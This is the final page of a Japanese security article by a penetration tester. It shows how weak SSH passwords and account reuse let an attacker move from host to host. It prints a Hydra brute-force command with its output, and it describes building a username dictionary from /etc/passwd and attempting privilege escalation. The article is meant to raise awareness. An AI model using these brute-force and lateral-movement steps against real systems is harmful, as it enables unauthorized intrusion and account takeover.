リアリティはないけど、脅威は確かにいるよセキュリティ・ダークナイト(5)(5/5 ページ)

» 2010年10月12日 00時00分 公開
前のページへ 1|2|3|4|5       

芋づる式にほかのホストへ侵入

 さて、検査結果は「ホストBでは、SSH経由にて、ユーザー名:oracle、パスワード:oracleで侵入可能でした。パスワードを強固なものに変更してください」のみだろうか。検査はここで終了だろうか。

 残念ながら、そうではない。

 この時点では、「ホストB」の一般ユーザー権限を奪取したに過ぎない。そこで次に、管理者権限を奪取するために権限昇格を試みる。具体的には、ローカルバッファオーバーフローや「su」コマンドを用いるのである。

 検査によっては、ここで全権掌握に成功する場合も少なくない。特に、リモートからrootログインを制限しているようなホストの場合、「password」などといった安易なパスワードが設定されている場合も少なくない。

 しかしここでは、条件付きの別の点に注目したい。条件というのは、さまざまな手段を尽くしても、root権限を奪取できない状況下に置かれた場合だ。だがそのような場合でも検査終了とはならない。奪取できた権限をうまく利用して、さらなる侵入を試みるのである。

 しかし、root権限を奪取しているわけではないため「/etc/shadow」から「John The Ripper」を用いてシステム内のユーザーのパスワードを解析することはできない、それでは、さらなる侵入を試みるためにとるべき行動は何だろうか。

 一般ユーザーでも読み取ることができる「/etc/passwd」を利用するのである。

root:x:0:1:Super-User:/:/sbin/sh 
ndsuser:x:1001:10::/export/home/ndsuser:/bin/csh 
oracle:x:1002:101::/export/home/oracle:/bin/csh 
jp1:x:1003:101::/export/home/jp1:/bin/csh 
weblogic:x:1005:101::/export/home/weblogic:/bin/csh 
pentest:x:1006:101::/export/home/pentest:/bin/csh 
toppper:x:1007:101::/export/home/topper:/bin/csh 
snowwind:x:1007:101::/export/home/snowwind:/bin/csh 
oda1979:x:1009:101::/export/home/oda1979:/bin/csh
リスト10 ホストBの/etc/passwdの内容

 基本的に「/etc/passwd」には、一般ユーザーにも読み取り権限が与えられている。「/etc/shadow」のようにハッシュ化されたパスワードは含まれないが、これを参照すれば、システム内に存在するユーザー名を知ることは可能だ。そこで、この情報を基に「dict02」という名前の辞書ファイルを下記のように作成して、再度オンラインパスワードクラックを試みる。

ndsuser

jp1

weblogic

pentest

toppper

snowwind

oda1979


hydra -L dict02 -e ns BBB.BBB.BBB.BBB ssh2Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. 
Hydra (http://www.thc.org) starting at 2010-08-22 01:33:45 
[DATA] 1 tasks, 1 servers, 14 login tries (l:7/p:2), ~14 tries per task 
[DATA] attacking service ssh2 on port 22 
[22][ssh2] host: BBB.BBB.BBB.BBB   login: ndsuser   password: ndsuser 
[22][ssh2] host: BBB.BBB.BBB.BBB   login: jp1   password: jp1 
[22][ssh2] host: BBB.BBB.BBB.BBB   login: weblogic   password: weblogic 
[22][ssh2] host: BBB.BBB.BBB.BBB   login: pentest   password: pentest 
[22][ssh2] host: BBB.BBB.BBB.BBB   login: topper   password: topper 
[22][ssh2] host: BBB.BBB.BBB.BBB   login: snowwind   password: snowwind 
[22][ssh2] host: BBB.BBB.BBB.BBB   login: oda1979   password: oda1979 
[STATUS] 14.00 tries/min, 14 tries in 00:01h, 0 todo in 00:01h 
[STATUS] attack finished for BBB.BBB.BBB.BBB (waiting for childs to finish) 
リスト11 再度オンラインパスワードクラックを試みる

 すると、oracle以外の一般ユーザーのパスワードクラックにあっさり成功した。これで「ホストB」に関してはrootユーザー以外はすべて掌握したと言える。

 しかし、これでもまだ検査は終わらない。

 セキュリティ上望ましくないことではあるが、複数のホストで同一のアカウントを使い回しているケースは少なくない。読者の中にもドキっとした方がいらっしゃるのではないだろうか。

 検査をしていると、アカウントの使い回しをしている場合、パスワードも同一ということが多いように見受けられる。ここから推測して、【ホストB】から取得した「/etc/passwd/」を基に作成した辞書ファイルを用いて【ホストA】【ホストC】へもオンラインパスワードクラックを試みる。

Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. 
Hydra (http://www.thc.org) starting at 2010-08-22 01:58:28 
[DATA] 1 tasks, 1 servers, 14 login tries (l:7/p:2), ~14 tries per task 
[DATA] attacking service ssh2 on port 22 
[22][ssh2] host: AAA.AAA.AAA.AAA   login: ndsuser   password: ndsuser 
[22][ssh2] host: AAA.AAA.AAA.AAA   login: topper   password: topper 
[22][ssh2] host: AAA.AAA.AAA.AAA   login: snowwind   password: snowwind 
[22][ssh2] host: AAA.AAA.AAA.AAA   login: oda1979   password: oda1979 
[STATUS] 14.00 tries/min, 14 tries in 00:01h, 0 todo in 00:01h 
[STATUS] attack finished for AAA.AAA.AAA.AAA (waiting for childs to finish) 
リスト12-1 ホストAへのオンラインパスワードクラック
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. 
Hydra (http://www.thc.org) starting at 2010-08-22 01:58:28 
[DATA] 1 tasks, 1 servers, 14 login tries (l:7/p:2), ~14 tries per task 
[DATA] attacking service ssh2 on port 22 
[22][ssh2] host: CCC.CCC.CCC.CCC   login: ndsuser   password: ndsuser 
[22][ssh2] host: CCC.CCC.CCC.CCC   login: snowwind   password: snowwind 
[22][ssh2] host: CCC.CCC.CCC.CCC   login: oda1979   password: oda1979 
[STATUS] 14.00 tries/min, 14 tries in 00:01h, 0 todo in 00:01h 
[STATUS] attack finished for CCC.CCC.CCC.CCC (waiting for childs to finish) 
リスト12-2 ホストBへのオンラインパスワードクラック

 上記のように、【ホストB】から得た「/etc/passwd」を基に作成した辞書を用いることによって、芋蔓式にほかのホストへの侵入成功につなげることができた。この後は、同じようにさらなる侵入へとつなげるよう、得られた情報を最大限に活用していくのである。

 1つの開放ポートからの推測が複数台のホストへの侵入につながる典型的な例である。

「ああ、またか」ではなく

 今回の記事では、ハニーポットに残されたログを基に、頻繁に注意喚起されているSSHへの侵入プロセスを垣間見てきた。ここでは例として「Kojoney」というハニーポットを用いて、SSHを狙う攻撃を取り上げてみた。だがこういった形の侵入の試みは、パスワードを利用した認証を行っているシステムすべてを対象に行われていると認識していただいても間違いないだろう。

 芋づる式に次々にパスワードを掌握していくペネトレーションテストの話も、残念ながら決してレアケースではない。しかもこれはペネトレーションテストの場だけでなく、現実の攻撃者によっても行われている。

 この記事を機に、ぜひこうした現状に目を向けてほしい。そして、イソップ物語の「オオカミ少年」の話のようにさまざまな注意喚起を「ああ、またか」と受け流すのではなく、定期的に気を引き締めるきっかけとなれば幸いである。

筆者紹介

NTTデータ・セキュリティ株式会社

辻 伸弘(つじ のぶひろ)

セキュリティエンジニアとして、主にペネトレーション検査などに従事している。

民間企業、官公庁問わず多くの検査実績を持つ。

自宅では、趣味としてのハニーポットの運用、IDSによる監視などを行っている。

▼辻氏のブログ「(n)」: http://n.pentest.jp/

▼辻氏のTwitter: http://twitter.com/ntsuji



前のページへ 1|2|3|4|5       

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。